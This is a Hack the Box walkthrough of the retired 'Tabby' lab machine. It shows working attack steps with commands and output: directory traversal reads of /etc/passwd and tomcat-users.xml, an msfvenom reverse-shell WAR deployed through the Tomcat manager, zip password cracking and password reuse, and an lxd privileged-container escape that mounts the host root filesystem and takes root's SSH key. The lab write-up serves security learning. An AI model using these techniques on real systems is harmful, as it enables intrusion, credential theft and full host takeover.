Hack the Box Write-up #9: Tabby

28 minute read

This is a write-up for Hack the Box’s just retired Tabby machine.

We first find a Directory Traversal vulnerability in a web app and use it to obtain credentials for a Tomcat server running on the same host. Cracking a zip password of a discovered file then gives us access to the first low-priv user. From there, we exploit the fact that our user is part of the lxd group, create a small Alpine Linux image and eventually mount the host’s root file system in a new container.

Recon and Enumeration

We start by doing a fast scan to get a first overview of the box:

nmap -F

Not shown: 97 closed ports
22/tcp   open  ssh
80/tcp   open  http
8080/tcp open  http-proxy

Port 80 and 8080 are the most obvious things to look at first. While we start here, we also begin a full TCP port scan in the background (nmap -p- to potentially gather more information for a later stage.

Looking at the site on port 80, we notice links going to the hostname megahosting.htb. We add it to our /etc/hosts file and proceed.

Directory Traversal via news.php

The top menu item News looks interesting, as it points to http://megahosting.htb/news.php?file=statement, hinting at a potential file inclusion and/or directory traversal.

Megahosting News

We are lucky and can easily traverse and read files from the server: http://megahosting.htb/news.php?file=../../../../../../etc/passwd.

Before spending much time enumerating the file system “half-blind”, though, let’s first see if we can find another service that could give us guidance on where to look for interesting files.

Discovering Tomcat and utilizing earlier vulnerability

Checking the results of our full port scan from ealier, we can see that TCP port 22, 80 and 8080 are the only open ports – so nothing new here.

Navigating to http://megahosting.htb:8080, we find what seems to be a default Tomcat 9 installation:


A common thing to check for Tomcat instances is the availability of the manager app (see for example Jerry or Kotarak write-up).

We’re getting a Basic Auth prompt for http://megahosting.htb:8080/manager/html. Since we don’t have any credentials yet, we can try to utilize the vulnerability from earlier and read the tomcat-users.xml file, which could give us potential usernames, passwords and role information.

The default Tomcat page happily gives up the installation directory as /usr/share/tomcat9. It is thus most-likely, that we find configuration files in here.

Looking at common file pathes, we can easily identify /usr/share/tomcat9/etc/tomcat-users.xml as the location of a potential target file.

Via the earlier directory traversal vulnerability we can can indeed get its contents:

GET /news.php?file=../../../../usr/share/tomcat9/etc/tomcat-users.xml HTTP/1.1

<user username="tomcat" password="$3cureP4s5w0rd123!" roles="admin-gui,manager-script"/>

Since we don’t have the manager-gui role, we cannot utilize the web interface though. The manager-script role, however, should be enough as it also gives us the ability to deploy our own apps – just not via the web ui.

Deploying our own app

Looking at the Tomcat manager documentation, we can get instructions on how to use the HTTP interface to deploy new apps (see section “Deploy A New Application Archive (WAR) Remotely”). TL;DR: A simple curl PUT file upload command should do.

We can create our own WAR app with a reverse shell payload by using msfvenom:

msfvenom -p linux/x64/shell_reverse_tcp LHOST= LPORT=80 -f war -o letmein.war

For later access, we note the name of the JSP file msfvenom generated by looking into the letmein.war (which is a zip archive):

$ unzip -l letmein.war 
Archive:  letmein.war
  Length      Date    Time    Name
---------  ---------- -----   ----
        0  2020-11-06 22:01   META-INF/
       71  2020-11-06 22:01   META-INF/MANIFEST.MF
        0  2020-11-06 22:01   WEB-INF/
      263  2020-11-06 22:01   WEB-INF/web.xml
     1801  2020-11-06 22:01   gvggpzkl.jsp        <--- this guy!
---------                     -------
     2135                     5 files

With our credentials and payload at hand, we can attempt to deploy:

curl -v -u 'tomcat:$3cureP4s5w0rd123!' --upload-file letmein.war ''

*   Trying
* Connected to ( port 8080 (#0)
* Server auth using Basic with user 'tomcat'
> PUT /manager/text/deploy?path=/letmein&update=true HTTP/1.1
> Host:
> Authorization: Basic dG9tY2F0OiQzY3VyZVA0czV3MHJkMTIzIQ==
> User-Agent: curl/7.72.0
> Accept: */*
> Content-Length: 1533
> Expect: 100-continue
* Mark bundle as not supporting multiuse
< HTTP/1.1 100 
* We are completely uploaded and fine
* Mark bundle as not supporting multiuse
< HTTP/1.1 200 
< Cache-Control: private
< Expires: Thu, 01 Jan 1970 00:00:00 GMT
< X-Content-Type-Options: nosniff
< Content-Type: text/plain;charset=utf-8
< Transfer-Encoding: chunked
< Date: Fri, 06 Nov 2020 21:20:15 GMT
OK - Deployed application at context path [/letmein]

Starting a listener on port 80 (nc -lvnp 80), then hitting the JSP file of our payload (curl should give us our first shell:

$ nc -lvnp 80
Ncat: Version 7.91 ( https://nmap.org/ncat )
Ncat: Listening on :::80
Ncat: Listening on
Ncat: Connection from
Ncat: Connection from

Privilege Escalation to “ash” (hash cracking)

With our shell, we are the tomcat user and not part of any special group (id).

After a couple of basic checks and looking at common places, we find 16162020_backup.zip inside /var/www/html/files – a file we could have also accessed earlier via port 80 if we had known its name.

We can download and try to open it. Unfortunately, the zip file has a password on it.

Using zip2john 16162020_backup.zip, we extract the hash and attempt to crack it using a common wordlist:

john --wordlist=~/wordlists/SecLists/Passwords/Leaked-Databases/rockyou.txt zip.hash 
Using default input encoding: UTF-8
Loaded 1 password hash (PKZIP [32/64])
Press 'q' or Ctrl-C to abort, almost any other key for status
admin@it         (16162020_backup.zip)
1g 0:00:00:01 DONE (2020-11-06 22:48) 0.5617g/s 5817Kp/s 5817Kc/s 5817KC/s adminako123..admin422243

Cracking the password succeeds after just a second.

We can now extract the contents of the archive, but find it is simply a current backup of the site and thus contains nothing new.

Having discovered a new password, however, we can see if somebody is re-using their credentials.

We first try it on the user ash as it’s the only user with a shell besides root (grep bash /etc/passwd). And it works! We can switch to user ash with su ash and password admin@it.

Privilege Escalation to “root” (lxd)

Now that we are ash, let’s check our groups again:

uid=1000(ash) gid=1000(ash) groups=1000(ash),4(adm),24(cdrom),30(dip),46(plugdev),116(lxd)

We are part of the lxd group, which looks like a solid way to escalate by creating a new container and mounting the host file system.

To first build an image, we need distrobuilder, a Go application. It needs a couple of requirements, but is easy to setup when following the instructions on GitHub.

We can also – more or less – follow the instructions for building the image. But as we only need a light-weight base, we choose Alpine over Ubuntu.

Let’s make a directory and grab an Alpine configuration:

$ mkdir alpine
$ cd alpine/
$ vim alpine.yml

For the alpine.yml we use https://github.com/lxc/lxc-ci/blob/master/images/alpine.yaml.

Now we can go ahead and build the lxd image using distrobuilder:

$ distrobuilder build-lxd alpine.yml -o image.release=3.12
/tmp/alpinelinux-3.12-x86_64/alpine-minirootfs-3.12.0-x86_64.tar.gz: 100% (5.53MB/s)
/tmp/alpinelinux-3.12-x86_64/alpine-minirootfs-3.12.0-x86_64.tar.gz.asc: 100% (2.29GB/s)
fetch http://dl-cdn.alpinelinux.org/alpine/v3.12/main/x86_64/APKINDEX.tar.gz

We should now have our container image consisting of lxd.tar.xz and rootfs.squashfs present in our alpine folder. Let’s transfer the file over to the target machine:

# on target
nc -lvnp 8000 > lxd.tar.xz
nc -lvnp 8000 > rootfs.squashfs

# on attacker
nc 8000 < lxd.tar.xz
nc 8000 < rootfs.squashfs

# on both hosts to check if everything went fine
md5sum *

Then add the image on the target host:

lxd init  # on a fresh instance, you need to init, but can go with the defaults
lxc image import lxd.tar.xz rootfs.squashfs --alias givemeroot

Now we can create and configure our privileged privesc container to mount the host file system (options taken from HackTricks):

lxc init givemeroot privesc -c security.privileged=true
lxc config device add privesc host-root disk source=/ path=/mnt/root recursive=true

And that’s it. We can run our container, get a shell in it and navigate to our mount point to gain full access to the host’s root filesystem:

lxc start privesc
lxc exec privesc /bin/sh
cd /mnt/root  <-- host's file system

With this kind of access, we can steal the id_rsa from /mnt/root/root/.ssh and SSH into the box as root:

ssh -i root.key root@


Since this is a quite visible privilege escalation, you can either reset the box or remove the lxd stuff you added to not spoil it for other players. Essentially, it is:

lxc delete privesc
lxc image delete givemeroot
lxc network delete lxdbr0 <-- from the init
lxc storage delete default
lxc profile edit default <-- wipe config

I hope you’ve enjoyed this write-up. If you have any questions, did it another way or have something else to say, feel free to reach out. I’m always happy to learn new things. You can also check out the other write-ups.

Like to comment? Feel free to send me an email or reach out on Twitter.